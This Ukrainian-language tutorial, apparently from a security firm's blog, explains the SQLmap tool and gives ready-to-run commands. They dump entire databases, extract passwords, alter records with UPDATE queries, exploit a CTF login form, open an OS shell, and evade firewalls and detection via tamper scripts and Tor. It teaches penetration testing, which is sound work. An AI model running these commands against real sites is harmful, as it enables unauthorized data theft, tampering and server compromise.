У цьому керівництві розглянемо ази пентесту в SQLmap. Навчимось як протестувати будь-який сайт на SQL-вразливість. Дізнаємося що таке SQL-ін’єкція. У висновку, отримаємо чітке розуміння того, як використовувати SQLmap для забезпечення безпеки веб-додатків.
SQLmap – це культовий інструмент етичного хакінгу, який застосовується спеціалістами з кібербезпеки для проведення тестів на проникнення SQL баз даних. Інструмент розроблений на Python у 2006 році італійцем Даніелем Белуччі. На сьогодні підтримується італійцем Берндардом Дамеле та хорватом Мирославом Штампаром. Розповсюджується безкоштовно за ліцензією GPLv2. SQLmap входить в ТОП-10 найпотужніших хакерських інструментів всіх часів. Детальніше про історію проєкта тут.
Основні переваги та відмінності SQLmap:
Встановити SQLmap можна декількома шляхами:
sudo apt-get install sqlmap
В дистрибутиві Kali Linux SQLmap вже встановлений по замовчуванню.
Підготовчі етапи:
Команди SQLmap:
sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent
— протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, який треба перебрати.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --dbs --batch --level=5 --risk=3 --random-agent
— протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, в автоматичному режимі batch, з найвищим рівнем деталізованості level (від 1 до 5) та найвищим рівнем критичності risk (від 1 до 3), випадковим User-Agent браузера для кожного запиту, а також отримати тип і назву бази даних dbs, якщо виявиться, що сайт вразливий.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --tables --random-agent -o
— переглянути всі таблиці вказаної бази даних, використавши випадковий User-Agent та оптимізацію o.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --columns --random-agent -o
— переглянути вказану таблицю з усіма колонками за заданою базою даних, застосувавши оптимізацію і рандомний браузер. sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --dump --random-agent -o
— зробити дамп вказаної таблиці бази даних і зберегти в файлі CSV.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable -С columnname1,columnname2,columnname3 --dump --random-agent -o
— зробити дамп вказаної таблиці бази даних зазначених колонок.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --dump-all --random-agent -o dump_file.sql
— зробити повний дамп усієї бази даних і зберегти в файлі SQL.sqlmap -r /path/to/postsqli.txt -p param --dbms=mysql --sql-query="UPDATE db_tablename SET email='new@email.com' WHERE email='old@email.com';" --random-agent -o
— змінити дані у вказаній таблиці бази даних, замінивши одне значення на інше у колонці.sqlmap -u "https://240c97ed4233e1e56b4bdf68997f1383.ctf.hacker101.com/login" --data "username=&password=" --method POST --regexp "Invalid password" --dump
— експлуатація форми входу на SQL-ін’єкцію через вказані параметри POST-запиту.sqlmap -u "http://XXX.XXX.XXX.X/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=ipcund5314149g188pfhb3pff1; security_level=0" -p title
— проексплуатувати вказаний URL з параметром tile, використавши зазначені кукі.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --random-agent -f --banner --current-user --passwords --tables --exclude-sysdbs
— провести fingerprinting бази даних, отримати ім’я користувача, отримати назву і версію бази даних, назви всіх таблиць, ігноруючи системі sysdbs.sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
— протестувати вказаний URL із застосуванням HTTP-заголовка, у даному випадку User-Agent.Додаткові ключі:
--os-shell
— доступ до інтерактивного командного рядка.--sql-shell
— доступ до оболонки комадного рядка MySQL.--no-cast
— уникнення автоматичного приведення типів даних.--current-user
— отримання імені поточного користувача бази даних.--is-dba
— перевірка прав, чи є поточний користувач адміністратором бази даних.--hex
— використовується для перетворення (конвертації) даних в шістнадцятковий формат (hexadecimal), це може допомогти уникнути проблем із кодуванням або фільтрацією даних на рівні бази даних або веб-додатку.--tamper
— використовується для вказування скриптів маніпулювання (tamper scripts), які можуть змінювати payload для обходу різних систем захисту, таких як Web Application Firewall (WAF).--cookie="name=value"
— передача cookie для аутентифікації.--tor
— підключення через TOR мережу.--tor-type
— вказує тип проксі для використання Tor. За замовчуванням, це SOCKS5, але ви також можете використовувати HTTP.--check-tor
— перевіряє чи працює TOR як проксі.--fresh-queries
— ігнорувати кешовані запити попередніх результатів.--flush-session
— очищення всіх даних сесії для цілі.--count
— підрахунок кількості записів у базі даних.-v 1
— рівень деталізації виводу, від 1 до 5.--dbms "mysql"
— вказати тип бази даних для експлуатації.--threads=10
— кількість паралельних потоків для сканування, від 1 до 10.--replicate
— повторно застосовувати вже знайдені раніше вразливості.--referer="https://domain.com"
— вказати HTTP-заголовок referer.--delay=3
— затримка в секундах між кожним запитом.--timeout=30
— час очікування відповіді в секундах.--force-ssl
— примусове використання SSL/TLS (HTTPS) протоколу.--csrf-token="token"
— вказати CSRF токен.--proxy="http://127.0.0.1:8080"
— вказати проксі-сервер.--data="data"
— рядок з даними, які треба відправити через POST-запит.--mobile
— використати User-Agent мобільного пристрою.--technique=U
— тип SQL-ін’єкції, наприклад Union.-h
— викликати довідку.Що таке SQL? Це структурована мова (Structured Query Language), яка дозволяє взаємодіяти з реляційними базами даних.
Кожна база даних має таку структуру:
Приклад таблиці бази даних:
Основні команди SQL:
Що таке ін’єкція? Це відправка запитів на сервер з метою обійти захист системи та отримати несанкціоновані дані або здійснити несанкціоновані дії, внести зміни в базу даних.
Типи SQL-ін’єкцій:
👉 Більше теорії на SQL Tutorial>>
👉 Читайте також: Команди роботи з MySQL в терміналі Linux
ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:
Заповніть, будь ласка, форму й наш спеціаліст зв’яжеться з Вами та надасть безкоштовну консультацію!
Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!